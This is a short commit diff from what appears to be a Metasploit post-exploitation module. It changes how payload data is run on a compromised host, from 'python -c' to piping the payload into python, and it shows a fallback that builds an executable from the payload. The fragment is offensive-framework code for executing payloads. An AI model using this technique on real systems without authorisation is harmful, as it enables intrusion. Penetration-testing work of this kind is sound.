python -c payload -> echo payload | python
parent
9a5d5eec2e
commit
9e0cb9797b
|
@ -174,7 +174,7 @@ class MetasploitModule < Msf::Post
|
||||||
end
|
end
|
||||||
when 'python'
|
when 'python'
|
||||||
vprint_status("Transfer method: Python")
|
vprint_status("Transfer method: Python")
|
||||||
cmd_exec("python -c \"#{payload_data}\"")
|
cmd_exec("echo \"#{payload_data}\" | python")
|
||||||
else
|
else
|
||||||
vprint_status("Transfer method: Bourne shell [fallback]")
|
vprint_status("Transfer method: Bourne shell [fallback]")
|
||||||
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
|
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
|
||||||
|
|
Loading…
Reference in New Issue